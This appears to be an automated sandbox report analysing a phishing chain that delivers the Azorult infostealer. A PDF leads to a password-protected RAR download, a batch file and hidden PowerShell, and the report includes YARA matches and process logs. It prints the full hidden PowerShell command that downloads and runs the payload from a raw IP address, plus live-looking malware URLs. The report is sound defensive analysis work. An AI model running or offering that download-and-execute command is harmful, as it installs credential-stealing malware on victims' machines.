Source: Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Order-63729_Reference.exe, 00000013.00000003.2528139293.0000000000692000.00000004.00000020.00020000.00000000.sdmp, 61642342743687520604596.tmp.19.dr, 6164250885724921039929.tmp.19.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49756 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Azorult Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\ft6o99.rar (copy)

Jump to dropped file

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Jump to dropped file

Source: api-ms-win-core-localization-l1-2-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.19.dr	Static PE information: No import functions for PE file found

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: dump.pcap, type: PCAP	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.winPDF@57/112@12/8

Source: Refrence-Order#63729.pdf

Initial sample: https://files.catbox.moe/ft6o99.rar

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2188

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7A741079-532A12E7-10A3690C

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-03 22-27-30-867.log

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Order-63729_Reference.exe, 00000013.00000003.2527015393.0000000000678000.00000004.00000020.00020000.00000000.sdmp, 61641406437253145424454.tmp.19.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Refrence-Order#63729.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1648,i,13846908191523088428,4317798153426057355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://files.catbox.moe/ft6o99.rar"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,4430408349304570474,12828371247776243048,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\ft6o99.rar"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kufktcsf.fzd" "C:\Users\user\Downloads\ft6o99.rar"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1648,i,13846908191523088428,4317798153426057355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,4430408349304570474,12828371247776243048,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\ft6o99.rar"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kufktcsf.fzd" "C:\Users\user\Downloads\ft6o99.rar"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat"	Jump to behavior
